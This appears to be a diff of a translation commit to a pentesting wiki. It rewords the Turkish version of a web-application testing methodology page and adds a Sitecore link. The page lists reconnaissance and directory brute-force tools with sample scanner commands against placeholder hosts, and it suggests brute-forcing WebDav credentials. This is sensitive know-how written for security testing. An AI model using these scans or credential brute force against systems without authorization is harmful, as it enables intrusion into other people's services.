Translated ['src/pentesting-web/cache-deception/README.md', 'src/pentest

src/SUMMARY.md

@@ -447,6 +447,7 @@
   - [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
   - [Nginx](network-services-pentesting/pentesting-web/nginx.md)
   - [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
+  - [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
   - [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
     - [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
       - [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@@ -929,4 +930,3 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
-  

src/network-services-pentesting/pentesting-web/README.md

@@ -4,9 +4,9 @@
 
 ## Temel Bilgiler
 
-Web servisi en **yaygın ve kapsamlı servis**dir ve birçok **farklı türde zafiyet** mevcuttur.
+Web servisi en **yaygın ve kapsamlı hizmet**tir ve birçok **farklı türde zafiyet** vardır.
 
-**Varsayılan port:** 80 (HTTP), 443 (HTTPS)
+**Varsayılan port:** 80 (HTTP), 443(HTTPS)
 ```bash
 PORT    STATE SERVICE
 80/tcp  open  http
@@ -17,7 +17,7 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Web API Kılavuzu
+### Web API Rehberi
 
 
 {{#ref}}
@@ -26,46 +26,46 @@ web-api-pentesting.md
 
 ## Metodoloji özeti
 
-> Bu metodolojide bir domain (veya subdomain) ve yalnızca ona saldıracağınızı varsayıyoruz. Bu nedenle, bu metodolojiyi kapsam içindeki her keşfedilen domain, subdomain veya belirsiz web sunucusuna sahip IP için uygulamalısınız.
+> Bu metodolojide bir domain (veya subdomain) ve sadece onu hedef alacağınızı varsayıyoruz. Bu nedenle, kapsam içindeki her keşfedilen domain, subdomain veya web server'ı belirsiz IP için bu metodolojiyi uygulamalısınız.
 
-- [ ] Öncelikle web sunucusu tarafından kullanılan **technologies**'i **identifying** edin. Teknolojiyi tespit edebilirseniz, testin geri kalanında aklınızda tutulması gereken **tricks**'lere bakın.
-- [ ] Teknoloji sürümünün bilinen herhangi bir **known vulnerability** var mı?
+- [ ] Başlangıç olarak web server tarafından kullanılan **technologies**'i **identifying** ile tespit edin. Tech'i başarıyla tespit edebilirseniz testin geri kalanında akılda tutulması gereken **tricks**'e bakın.
+- [ ] Kullandığınız teknolojinin sürümüne ait herhangi bir **known vulnerability** var mı?
 - [ ] Herhangi bir **well known tech** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **useful trick** var mı?
 - [ ] Çalıştırılacak herhangi bir **specialised scanner** var mı (ör. wpscan)?
-- [ ] **general purposes scanners** çalıştırın. Ne bulacaklarını veya ilginç bilgi elde edip etmeyeceklerini bilemezsiniz.
+- [ ] Genel amaçlı **general purposes scanners**'ı başlatın. Ne bulacaklarını veya ilginç bilgi edinip edinmeyeceklerini bilemezsiniz.
 - [ ] **initial checks** ile başlayın: **robots**, **sitemap**, **404** error ve **SSL/TLS scan** (HTTPS ise).
-- [ ] Web sayfasını **spidering** ile taramaya başlayın: Tüm olası **files, folders** ve **parameters being used**'i **find** etme zamanı. Ayrıca **special findings**'leri kontrol edin.
-- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
+- [ ] Web sayfasını **spidering** ile taramaya başlayın: Olası tüm **files, folders** ve kullanılan **parameters being used**'i **find** edin. Ayrıca **special findings** için kontrol edin.
+- [ ] _Not: brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin spidering yapılmalıdır._
 - [ ] **Directory Brute-Forcing**: Keşfedilen tüm klasörleri yeni **files** ve **directories** arayarak brute force etmeyi deneyin.
-- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
-- [ ] **Backups checking**: Yaygın yedek uzantıları ekleyerek **discovered files**'ın **backups**'larını bulup bulamayacağınızı test edin.
-- [ ] **Brute-Force parameters**: Gizli parametreleri bulmaya çalışın.
-- [ ] Tüm olası **endpoints** ve **user input** kabul edenleri **identified** ettikten sonra, bunlarla ilgili her türlü **vulnerabilities** için kontrol edin.
-- [ ] [Bu checklist'i takip edin](../../pentesting-web/web-vulnerabilities-methodology.md)
+- [ ] _Not: brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin Brute-Forced yapılmalıdır._
+- [ ] **Backups checking**: Ortaya çıkan **discovered files**'ların yedeklerini, yaygın backup uzantılarını ekleyerek bulup bulamayacağınızı test edin.
+- [ ] **Brute-Force parameters**: Gizli parametreleri **find** etmeye çalışın.
+- [ ] Tüm olası **endpoints** tarafından kabul edilen **user input**'ları **identified** ettiğinizde, bunlarla ilgili her türlü **vulnerabilities** için kontrol edin.
+- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
 
-## Sunucu Sürümü (Zafiyetli?)
+## Sunucu Versiyonu (Vulnerable?)
 
-### Tespit
+### Identify
 
-Çalışan sunucunun **version**'ı için bilinen herhangi bir **known vulnerabilities** olup olmadığını kontrol edin.\
-Cevabın **HTTP headers and cookies of the response**'i, kullanılan **technologies** ve/veya **version**'ı **identify** etmek için çok yararlı olabilir. **Nmap scan** sunucu sürümünü tespit edebilir, ayrıca araçlar [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech**](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com) da faydalı olabilir:
+Çalışmakta olan sunucunun **version**'ı için bilinen herhangi bir **known vulnerabilities** olup olmadığını kontrol edin.\
+Yanıtın **HTTP headers and cookies** çok faydalı olabilir; kullanılan **technologies** ve/veya **version**'ı **identify** etmek için yardımcı olur. **Nmap scan** sunucu versiyonunu belirleyebilir, ayrıca [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da faydalı olabilir:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
+Ara **için** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
 
-### **Herhangi bir WAF olup olmadığını kontrol et**
+### **Herhangi bir WAF var mı**
 
 - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
 
-### Web teknoloji tüyoları
+### Web teknoloji ipuçları
 
-Kullanılan çeşitli iyi bilinen **teknolojilerde** **zafiyetleri bulmak** için bazı **ipuçları**:
+Kullanılan farklı ve iyi bilinen **teknolojilerde** zafiyet **bulmak** için bazı **ipuçları**:
 
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@@ -100,30 +100,30 @@ Kullanılan çeşitli iyi bilinen **teknolojilerde** **zafiyetleri bulmak** içi
 - [**Werkzeug**](werkzeug.md)
 - [**Wordpress**](wordpress.md)
 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
+- [**Sitecore**](sitecore/index.html)
 
 _Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
-Aynı **alan adının** farklı **portlarda**, **klasörlerde** ve **alt alan adlarında** farklı **teknolojiler** kullanıyor olabileceğini unutma.\
-Eğer web uygulaması önceden listelenmiş herhangi bir tanınmış **teknoloji/platform** veya **başka bir teknoloji** kullanıyorsa, **İnternette yeni taktikleri aramayı** unutma (ve bana haber ver!).
+Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen teknoloji veya başka bir **tech/platform** kullanıyorsa, İnternette yeni ipuçları aramayı unutmayın (ve bana haber verin!).
 
-### Kaynak Kod İncelemesi
+### Kaynak Kodu İncelemesi
 
-Eğer uygulamanın **source code**'u **github** üzerinde erişilebiliyorsa, uygulamaya kendi başına bir **White box test** yapmanın yanı sıra mevcut **Black-Box testing** için faydalı olabilecek bazı bilgiler bulunabilir:
+Eğer uygulamanın **source code**'u **github**'da erişilebilir durumdaysa, uygulama üzerinde kendi başınıza bir **White box test** gerçekleştirmenin yanı sıra mevcut **Black-Box testing** için faydalı olabilecek **bazı bilgiler** bulunabilir:
 
-- Web üzerinden erişilebilen herhangi bir **Change-log or Readme or Version** dosyası veya **erişilebilir sürüm bilgisi** var mı?
-- **Credentials** nasıl ve nerede saklanmış? Kimlik bilgilerini içeren (erişilebilir?) herhangi bir **dosya** (kullanıcı adları veya parolalar) var mı?
-- **Parolalar** düz metin mi, **şifrelenmiş** mi yoksa hangi **hash algoritması** kullanılıyor?
-- Bir şeyi şifrelemek için herhangi bir **master key** kullanılıyor mu? Hangi **algoritma** kullanılıyor?
-- Herhangi bir zafiyeti kullanarak **bu dosyalara erişebiliyor musun**?
-- **Github**'da ilginç bilgiler var mı (çözülen ve çözülmeyen) **issues**? Veya **commit history**'de (ör. eski bir commit içinde bazı **parolalar** eklenmiş olabilir)?
+- Web üzerinden erişilebilir şekilde bir **Change-log or Readme or Version** dosyası ya da sürüm bilgisi içeren başka bir şey var mı?
+- Credentials nasıl ve nerede saklanıyor? Erişilebilir bir **file** içinde usernames or passwords var mı?
+- Passwords plain text mi, encrypted mi yoksa hangi hashing algorithm kullanılıyor?
+- Bir şeyleri şifrelemek için herhangi bir master key kullanılıyor mu? Hangi algorithm kullanılıyor?
+- Herhangi bir vulnerability'yi kullanarak bu dosyalardan herhangi birine erişebiliyor musunuz?
+- Github'da (solved and not solved) **issues** içinde ilginç bilgiler var mı? Veya **commit history**'de (belki eski bir commit içinde tanıtılmış bir password)?
 
 
 {{#ref}}
 code-review-tools.md
 {{#endref}}
 
-### Otomatik tarayıcılar
+### Automatic scanners
 
-#### Genel amaçlı otomatik tarayıcılar
+#### General purpose automatic scanners
 ```bash
 nikto -h <URL>
 whatweb -a 4 <URL>
@@ -135,12 +135,12 @@ nuclei -ut && nuclei -target <URL>
 # https://github.com/ignis-sec/puff (client side vulns fuzzer)
 node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
 ```
-#### CMS tarama araçları
+#### CMS tarayıcıları
 
-Bir CMS kullanılıyorsa **scanner çalıştırmayı** unutmayın, belki ilginç bir şey bulunur:
+Bir CMS kullanılıyorsa **tarayıcı çalıştırmayı** unutmayın, belki ilginç bir şey bulunur:
 
 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web siteleri için güvenlik sorunları. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sitelerindeki güvenlik sorunları için. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
 **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **veya** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@@ -150,45 +150,45 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> Bu noktada, müşteri tarafından kullanılan web sunucusu hakkında (veri verildiyse) zaten bazı bilgilere ve test sırasında akılda tutulması gereken bazı püf noktalarına sahip olmalısınız. Şanslıysanız bir CMS bulmuş ve bir scanner çalıştırmışsınızdır.
+> Bu noktada, istemci tarafından kullanılan web sunucusuna ilişkin bazı bilgilere (veri sağlandıysa) ve test sırasında akılda tutulması gereken bazı ipuçlarına zaten sahip olmalısınız. Şanslıysanız bir CMS bulmuş ve bazı scanner çalıştırmışsınızdır.
 
-## Adım Adım Web Uygulaması Keşfi
+## Adım adım Web Uygulaması Keşfi
 
-> Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız.
+> Bu noktadan itibaren web uygulaması ile etkileşime girmeye başlayacağız.
 
 ### İlk kontroller
 
-**İlginç bilgi içeren varsayılan sayfalar:**
+**Varsayılan sayfalar (ilginç bilgiler içerebilen):**
 
 - /robots.txt
 - /sitemap.xml
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
-- Ayrıca ana ve ikincil sayfalardaki yorumları kontrol edin.
+- Ana ve ikincil sayfalardaki yorumları da kontrol edin.
 
 **Hataları zorlamak**
 
-Web sunucuları tuhaf veriler gönderildiğinde **beklenmedik davranabilir**. Bu, **zafiyetlere** veya **hassas bilgilerin ifşasına** yol açabilir.
+Web sunucuları garip veriler gönderildiğinde **beklenmedik davranabilir**. Bu, **güvenlik açıklarına** veya **hassas bilgilerin ifşasına** yol açabilir.
 
-- /whatever_fake.php (.aspx,.html,.etc) gibi **sahte sayfalara** erişin
-- Hata oluşturmak için **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]", ve "\[\["** ekleyin
-- **URL**'in **sonuna** **`/~randomthing/%s`** gibi bir girdi vererek hata oluşturun
-- PATCH, DEBUG gibi **farklı HTTP Verbs** deneyin veya FAKE gibi yanlış olanları deneyin
+- Erişin **sahte sayfalara** like /whatever_fake.php (.aspx,.html,.etc)
+- **"\[]", "]]", ve "\[["** öğelerini **cookie değerlerine** ve **parametre** değerlerine ekleyin; hatalara yol açabilir
+- Hata üretmek için girdi olarak **`/~randomthing/%s`**'i URL'in **sonuna** verin
+- PATCH, DEBUG gibi **farklı HTTP yöntemleri** deneyin veya FAKE gibi yanlış bir tane deneyin
 
 #### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
 
-Eğer **WebDav**'in **etkin** olduğunu fakat root klasörüne **dosya yükleme** için yeterli izniniz olmadığını tespit ederseniz, şunları deneyin:
+Eğer **WebDav**'ın **etkin** olduğunu ama root klasöründe **dosya yükleme** için yeterli izniniz olmadığını görürseniz şunları deneyin:
 
-- **Brute Force** ile kimlik bilgilerini kırın
-- WebDav ile web sayfasında bulunan diğer klasörlere **dosya yükleyin**. Diğer klasörlere yükleme izniniz olabilir.
+- Kimlik bilgileri için **Brute Force** yapın
+- **WebDav** aracılığıyla web sayfası içinde bulunan diğer klasörlere **dosya yükleyin**. Başka klasörlerde dosya yükleme izniniz olabilir.
 
 ### **SSL/TLS zafiyetleri**
 
-- Eğer uygulama herhangi bir kısımda kullanıcıyı **HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM**'e karşı zayıftır
-- Eğer uygulama **hassas verileri (parolalar) HTTP kullanarak gönderiyorsa**, bu yüksek bir zafiyettir.
+- Uygulama herhangi bir kısımda kullanıcıyı HTTPS kullanmaya zorlamıyorsa, **MitM** saldırısına açıktır
+- Uygulama hassas verileri (parolalar) HTTP üzerinden **gönderiyorsa**, bu yüksek önemli bir güvenlik açığıdır.
 
-Zafiyetleri kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür zafiyetler kabul edilmez) ve zafiyetleri yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın:
+Güvenlik açıklarını kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür zafiyetler kabul edilmeyecektir) ve zafiyetleri yeniden kontrol etmek için [**a2sv** ](https://github.com/hahwul/a2sv) kullanın:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -204,53 +204,53 @@ Information about SSL/TLS vulnerabilities:
 
 ### Spidering
 
-Web içinde bir tür **spider** başlatın. Spider'ın amacı test edilen uygulamadan mümkün olduğunca fazla yolu **bulmaktır**. Bu yüzden, web crawling ve dış kaynaklar kullanılarak mümkün olduğunca çok geçerli yol bulunmalıdır.
+Test edilen uygulamadan mümkün olduğunca çok yol bulmak için bir tür **spider** başlatın. Spider'ın amacı, test edilen uygulamadan mümkün olduğunca çok geçiş yolu **bulmaktır**. Bu yüzden web crawling ve harici kaynaklar kullanılarak mümkün olduğunca çok geçerli yol bulunmalıdır.
 
-- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
-- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFider ve harici kaynak olarak Archive.org ile.
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com).
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFider ve Archive.org'u harici kaynak olarak kullanır.
 - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir.
 - [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar.
-- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değil ama faydalı olabilir. Hosts içeren bir dosya ve yollar içeren bir dosya belirtirsiniz; meg her host üzerindeki her yolu fetch eder ve yanıtı kaydeder.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render etme yeteneklerine sahip HTML spider. Ancak bakılmıyor gibi, ön-derlenmiş sürümü eski ve mevcut kod derlenmiyor.
+- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider olmasa da faydalı olabilir. Hosts içeren bir dosya ve path'ler içeren bir dosya belirtebilir ve meg her host üzerindeki her path'i fetch edip cevabı kaydeder.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS rendering kabiliyetine sahip HTML spider. Ancak bakılacak olursa bakımı yapılmıyor gibi, ön-derlenmiş sürüm eski ve mevcut kod derlenmiyor.
 - [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları (wayback, otx, commoncrawl) kullanan HTML spider.
-- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script parametre içeren URL'leri bulur ve listeler.
-- [**galer**](https://github.com/dwisiswant0/galer) (go): JS render etme yeteneklerine sahip HTML spider.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS beautify yetenekleri ile JS dosyalarında yeni yollar arayabilir. Ayrıca LinkFinder'ın bir wrapper'ı olan [JSScanner](https://github.com/dark-warlord14/JSScanner)'a bakmaya değer.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem gömülü javascript dosyalarında endpoint'leri çıkarmak için. Bug avcıları, red team ve infosec uzmanları için kullanışlı.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado ve JSBeautifier kullanan, JavaScript dosyalarından relative URL'leri parse eden bir python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için kullanışlı. Bakılmıyor gibi.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) nispi URL'leri çıkarmak için kullanışlı regex ile minify edilmiş dosyalardan URL çıkarır.
-- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Birçok araç kullanarak JS dosyalarından ilginç bilgileri toplar.
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script parametreli URL'leri bulur ve listeler.
+- [**galer**](https://github.com/dwisiswant0/galer) (go): JS rendering kabiliyetine sahip HTML spider.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS beautify kabiliyetleri ile JS dosyalarında yeni path'ler arayabilir. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı, LinkFinder sarmalayıcısına bakmak da faydalı olabilir.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağından hem de gömülü javascript dosyalarından endpoint çıkarmak için. Bug hunterlar, red teamerlar, infosec uzmanları için faydalı.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado ve JSBeautifier kullanan bir python 2.7 scripti; JavaScript dosyalarından relative URL'leri parse eder. AJAX isteklerini keşfetmek için kullanışlı. Bakımı görünüşe göre yapılmıyor.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bir dosya (HTML) verildiğinde, minify edilmiş çirkin dosyalardan relatif URL'leri bulup çıkarmak için şık bir regex kullanır.
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Birkaç araç kullanarak JS dosyalarından ilginç bilgiler toplar.
 - [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı headless browser'da yükler ve sayfayı yüklemek için çağrılan tüm url'leri yazdırır.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini harmanlayan content discovery aracı.
-- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarındaki path ve paramları bulmak için bir Burp eklentisi.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL'si verildiğinde beautified JS kodunu almanızı sağlayan araç.
-- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için endpoint'leri keşfetmekte kullanılan bir araç.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine'den link keşfi (ayrıca wayback'teki yanıtları indirip daha fazla link arama).
-- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (form doldurarak bile) yapar ve belirli regex'lerle hassas bilgileri de bulur.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web security Crawler/Spider.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'ler, yollar, secret'lar ve diğer ilginç verileri çıkarmak için Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, isteklerden parametreleri ve endpoint'leri çıkarmak için basit bir **Burp Suite extension**'dır; fuzzing ve enumeration için özelleştirilmiş wordlist oluşturur.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı headless browser'da yükler ve sayfayı yüklemek için yüklenen tüm url'leri yazdırır.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların birkaç seçeneğini harmanlayan content discovery aracı.
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarındaki path ve paramları bulmak için bir Burp extension.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL'i verildiğinde beautified JS kodunu almanızı sağlayan araç.
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için endpoint'leri keşfetmek için kullanılan araç.
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine'den link'ler keşfet (ayrıca wayback'teki cevapları indirip daha fazla link arar).
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl eder (form doldurarak bile) ve ayrıca belirli regex'ler kullanarak hassas bilgileri bulur.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli bir GUI web security Crawler/Spider'dır.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'ler, path'ler, secret'lar ve diğer ilginç verileri çıkarmak için bir Go paketi ve [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, request'ten parametreleri ve endpoint'leri çıkarmak için basit bir **Burp Suite extension**'dır; fuzzing ve enumeration için custom wordlist oluşturur.
 - [**katana**](https://github.com/projectdiscovery/katana) (go): Bu iş için harika bir araç.
-- [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her linki yazdırır.
+- [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her link'i yazdırır.
 
 ### Brute Force directories and files
 
-Kök klasörden **brute-forcing** başlatın ve **tüm** bulunan **directory'leri** bu **method** ile ve **Spidering** tarafından keşfedilen tüm directory'leri **brute-force** ettiğinizden emin olun (bunu **recursive** olarak yapabilir ve kullanılan wordlist'in başına bulunan directory isimlerini ekleyebilirsiniz).\
+Kök klasörden **brute-forcing** yapmaya başlayın ve **bu yöntemi** kullanarak bulunan **tüm dizinleri** ve **Spidering** ile **keşfedilen** tüm dizinleri brute-force yaptığınızdan emin olun (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan wordlist'in başına bulunan dizin isimlerini ekleyebilirsiniz).\
 Araçlar:
 
-- **Dirb** / **Dirbuster** - Kali içinde gelir, **eski** (ve **yavaş**) ama iş görür. Auto-signed sertifikalara ve recursive aramaya izin verir. Diğer seçeneklerle karşılaştırıldığında çok yavaş.
-- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Auto-signed sertifikalara izin vermez ama recursive aramaya izin verir.
+- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Auto-signed sertifikaları ve recursive search'e izin verir. Diğer seçeneklerle karşılaştırıldığında çok yavaş.
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Auto-signed sertifikalara izin vermiyor ama** recursive search'e izin veriyor.
 - [**Gobuster**](https://github.com/OJ/gobuster) (go): Auto-signed sertifikalara izin verir, ancak **recursive** arama özelliği **yoktur**.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, recursive aramayı destekler.**
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, recursive search destekler.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 - [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değil ama bulunan URL listesi verildiğinde "duplicate" URL'leri siler.
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden directory listesi oluşturmak için Burp Extension.
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JS import'larına dayanarak fonksiyonel olarak duplicate olan URL'leri kaldırır.
-- [**Chamaleon**](https://github.com/iustin24/chameleon): Wappalyzer kullanarak kullanılan teknolojileri tespit eder ve kullanılacak wordlist'leri seçer.
+- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değil ama bulunan URL listesi verildiğinde "duplicated" URL'leri silen bir araç.
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp history'sinden dizin listesi oluşturmak için Burp Extension.
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js import'larına dayalı olarak benzer işlevli URL'leri kaldırır.
+- [**Chamaleon**](https://github.com/iustin24/chameleon): Kullandığı teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak wordlist'leri seçer.
 
-**Recommended dictionaries:**
+**Önerilen sözlükler:**
 
 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
 - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@@ -269,41 +269,41 @@ Araçlar:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 
-_Her yeni directory spidering veya brute-forcing sırasında keşfedildiğinde, o directory mutlaka Brute-Forced edilmelidir._
+_Yeni bir dizin brute-forcing veya spidering sırasında keşfedildiğinde, her zaman o dizinin Brute-Force edilmesi gerektiğini unutmayın._
 
 ### What to check on each file found
 
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML içindeki broken link'leri bulur; bu linkler takeover'a açık olabilir.
